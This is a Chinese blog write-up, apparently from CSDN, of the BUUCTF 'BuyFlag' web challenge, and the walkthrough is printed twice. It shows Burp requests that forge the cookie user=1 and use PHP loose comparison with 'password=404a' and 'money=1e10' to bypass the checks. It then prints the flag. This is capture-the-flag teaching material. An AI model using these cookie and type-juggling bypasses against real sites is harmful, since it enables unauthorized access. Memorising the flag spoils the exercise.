BUUCTF WEB [极客大挑战 2019]BuyFlag

最新推荐文章于 2024-03-05 23:25:14 发布
最新推荐文章于 2024-03-05 23:25:14 发布
阅读量615 收藏 1
点赞数
分类专栏： BUUCTF 文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_51412071/article/details/124231055
版权
本文详细记录了解决BUUCTFWEB[极客大挑战2019]中购买FLAG的过程，涉及身份验证、正确密码和金钱交易。通过burp抓包，逐步揭示了如何利用正确策略获取flag：成为CUI学生、输入特定密码并提供1亿货币。
摘要由CSDN通过智能技术生成

BUUCTF WEB [极客大挑战 2019]BuyFlag

  • 进入环境后在MENU中发现PAYFLAG功能，点击进入，提示

    FLAG
FLAG NEED YOUR 100000000 MONEY

ATTENTION
If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!!

Only Cuit's students can buy the FLAG

    说明想要购买flag需要满足三个条件

    1. be a student from CUIT
    2. be answer the correct password
    3. 100000000 MONEY

  • 使用burp抓包

    GET /pay.php HTTP/1.1
Host: a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=0
Connection: close

    猜测Cookie中的user表示用户身份，条件1要求身份为student from CUIT，尝试将0改为1

    GET /pay.php HTTP/1.1
Host: a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=1
Connection: close

    提示

    you are Cuiter
Please input your password!!

  • F12查看网页源代码，发现一段注释

    <!--
	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}
-->

    要求我们使用POST方法传送password和money变量，使用burp发送数据包

    POST /pay.php HTTP/1.1
Host: a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81
Content-Length: 29
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81/pay.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=1
Connection: close

password=404a&money=100000000

    提示

    you are Cuiter
Password Right!
Nember lenth is too long

  • money的长度受到限制，尝试科学表达式

    POST /pay.php HTTP/1.1
Host: a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81
Content-Length: 24
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Origin: http://a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81/pay.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=1
Connection: close

password=404a&money=1e10

    得到flag

    you are Cuiter
Password Right!
flag{ccffe99d-8849-4c0c-960f-d468bf5877bc}

    BUUCTF WEB [极客大挑战 2019]BuyFlag

  • 进入环境后在MENU中发现PAYFLAG功能，点击进入，提示

    FLAG
FLAG NEED YOUR 100000000 MONEY

ATTENTION
If you want to buy the FLAG:
You must be a student from CUIT!!!
You must be answer the correct password!!!

Only Cuit's students can buy the FLAG

    说明想要购买flag需要满足三个条件

    1. be a student from CUIT
    2. be answer the correct password
    3. 100000000 MONEY

  • 使用burp抓包

    GET /pay.php HTTP/1.1
Host: a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=0
Connection: close

    猜测Cookie中的user表示用户身份，条件1要求身份为student from CUIT，尝试将0改为1

    GET /pay.php HTTP/1.1
Host: a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=1
Connection: close

    提示

    you are Cuiter
Please input your password!!

  • F12查看网页源代码，发现一段注释

    <!--
	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}
-->

    要求我们使用POST方法传送password和money变量，使用burp发送数据包

    POST /pay.php HTTP/1.1
Host: a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81
Content-Length: 29
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81/pay.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=1
Connection: close

password=404a&money=100000000

    提示

    you are Cuiter
Password Right!
Nember lenth is too long

  • money的长度受到限制，尝试科学表达式

    POST /pay.php HTTP/1.1
Host: a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81
Content-Length: 24
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Origin: http://a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://a6d2f3b2-7815-46b3-9c23-6a9ac372709b.node4.buuoj.cn:81/pay.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=1
Connection: close

password=404a&money=1e10

    得到flag

    you are Cuiter
Password Right!
flag{ccffe99d-8849-4c0c-960f-d468bf5877bc}
Y1Daa
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
BUUCTF [极客大挑战 2019]BuyFlag
zoixsoadji的博客
03-14 4279
进入题目，又是Syc，点下menu，点击PAYFLAG 题目说“如果要买flag，你需要输入对的密码，还需要这么多钱” 没有啥信息，查看源代码 有一段php代码，说password要等于404，又不能是数字，那么试试弱类型 尴尬的是，根本就没有回显，只能抓个包看看 我太菜了，不会了，去找了大佬的博客[极客大挑战 2019]BuyFlag总结_WHOAMIAnony的博客-CSDN博客_buyflags 说是需要把cookie的user=0改成1，试试看 ...
【BUUCTF】web 之 [极客大挑战 2019]BuyFlag
weixin_44164784的博客
04-13 687
简单分析 打开链接 随便翻翻 发现菜单中的 PAYFLAG 进去康康。 很明显 ，得到flag 需要 钱 & cuiter & password 具体操作： 抓包分析： 发现cookie user=0； 0可能说明否认，所以改成1重发得到 you are Cuiter Please input your password!! 接下来觉得密码问题 贴点网页源代码 404 但是不能...
buuctf [极客大挑战 2019]BuyFlag
qq_52671379的博客
05-09 1370
buuctf [极客大挑战 2019]BuyFlag
BUUCTF-[极客大挑战 2019]BuyFlag
qq_43006864的博客
01-20 2715
打开题目。 好像没啥，右上角发现个菜单按钮，点开看看。 看到中间写了。flag需要100000000money。 然后attention这里写着，如果你需要FLAG，你必须是一名叫cuit的学生，你必须正确回答password。然后继续查看源码，发现了这一段代码。 让我们post money和password。然后password不能为数字，然后password必须等于404才返回正确，那这里我们可以通过弱类型来找过，就是404后面加上字母。 抓包看..
BUUCTF [极客大挑战 2019] BuyFlag
Senimo
10-14 447
BUUCTF [极客大挑战 2019] BuyFlag 启动靶机，打开环境： 首页是安全小组的简介，在右上角Menu选择PAYFLAG 进入后看到获取flag的条件： 查看网页源码得到提示： ~~~post money and password~~~ if (isset($_POST['password'])) { $password = $_POST['password']; if (is_numeric($password)) { echo "password can't be numb
BUUCTF[极客大挑战 2019]BuyFlag
weixin_53955759的博客
10-10 176
打开环境，在menu中发现了payflag选项，和题目一样的。 进去，发现说买flag要100000000这么多钱，还要是CUIT的同学和正确的password 查看源码在最下面发现了提示 要post一个password且等于404，但是 is_numeric() 函数用于检测变量是否为数字或数字字符串。 这里就检测了password不能是数字，但可以用弱类型比较绕过 用了hackbar，post没有回显，那就抓包 发现身份不对，就想到了cooike，而且cookie里有一
buuctf [极客大挑战 2019]FinalSQL
zoixsoadji的博客
03-30 737
进入题目，又是这个作者，试试万能密码 经过实验，双写什么的都没用。 作者说的神秘代码，点进去发现url变了 发现并没有什么卵用…… 正当我没有头绪的时候，我突然看到一句话，审题真的很重要： 盲注！这里附上大佬的脚本： import requests import time url = "http://def9937b-1746-4f41-98c7-a2b55b95664a.node4.buuoj.cn:81/search.php" temp = {"id" : ...
BUUCTF [极客大挑战 2019]Http
weixin_53955759的博客
09-11 130
打开环境是一个小组的简介，看了一下 查看源码 找了半天才发现有Secrect.php这个可疑的地方，它藏在右边，一直没发现。 拼接地址进入 就提示我不是从https://www.Sycsecret.com这个地方进入的 那么第一个问题就是要解决如何欺骗它我们就是从https://www.Sycsecret.com进入的Secret.php 了解到有HTTP Referer伪造，这也是解决第一个问题需要用到的 下面就用到了bp拦截改referer 设置好代理，开启拦截.
buuctf web 极客大挑战2019
08-24
对于BUUCTF Web极客大挑战2019，我了解到它是一个网络安全比赛，由北方工业大学举办。这个比赛旨在考察参赛者的网络攻防能力和Web漏洞挖掘技术。比赛的题目涵盖了Web安全的各个方面，包括但不限于漏洞利用、代码审计...
buuctf-[极客大挑战 2019]BuyFlag（小宇特详解）
小宇的web博客
01-21 1999
buuctf-[极客大挑战 2019]BuyFlag（小宇特详解） 这里打开之后是一个网站没有注入点，这里抓包看一下有哪些目录 这里会发现一个pay.php文件访问一下 这里说flag需要100000000money 查看一下源码 <!-- ~~~post money and password~~~ if (isset($_POST['password'])) { $password = $_POST['password']; if (is_numeric($password)) {
【BUUCTF-Web】 [极客大挑战 2019]BuyFlag
RexHa的博客
09-04 493
【BUUCTF-Web】 [极客大挑战 2019]BuyFlag
BUUCTF——[极客大挑战 2019]BuyFlag
Ho1aAs‘s Blog
05-16 294
文章目录利用点解题完 利用点 字符串绕过is_numeric() 科学计数法 HTTP请求头 解题 进入环境，找到pay.php，查看源码发现注释 要POST参数money和password，这里对password进行了is_numeric()，常规套路用数字字符串绕过，即404a 另一个参数money可从主页上获得，是1000000000 这里还有提示，要验证password、money、身份才能获得flag，还差最后一个身份 身份这个参数很是模棱两可，不知道是值/字符串，可能是XFF、Refer
buuctf-[极客大挑战 2019]BuyFlag-个人理解
sunquan705的博客
11-11 1531
buuctf-[极客大挑战 2019]BuyFlag-个人理解-有错的还请师傅们指出
BUUCTF---[极客大挑战 2019]BuyFlag1
最新发布
2201_75556700的博客
03-05 652
7.抓包之后Cookie这里显示用户为0，想到刚刚第一个提示我们必须是哪哪的学生，可能和这个用户有关，接下来，把0改为1,修改完之后发现我们的身份和密码是正确的。5.接下来利用工具hackbar，涉及到弱类型比较，只要保证password的前三个数字和404一样，就可以，但是不能全是数字。8.试着把money也作为一个参数传值，输入正确的值之后提示我们输入的数值长度太大了，试着修改小了，发现也不行。4.第一个提示告诉我们，如果想要买flag的话我们必须是来自cuit的学生并且要输入正确的密码。
[极客大挑战 2019]BuyFlag
m_de_g的博客
11-06 2136
1.通过修改cookie绕过身份认证机制；2.通过查看PHP的版本，查看漏洞利用点；3.is_number()函数和strcmp()函数的利用。
BUUCTF__[极客大挑战 2019]BuyFlag_题解
风过江南乱的博客
07-05 971
BUUCTF__[极客大挑战 2019]BuyFlag_题解 PHP弱类型和低版本PHP的`strcmp()`函数漏洞
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值